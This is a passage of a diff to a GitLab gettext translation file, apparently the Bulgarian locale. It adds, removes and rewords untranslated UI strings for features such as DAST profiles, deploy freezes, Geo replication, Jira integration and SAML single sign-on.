+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr "Разклонение на"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
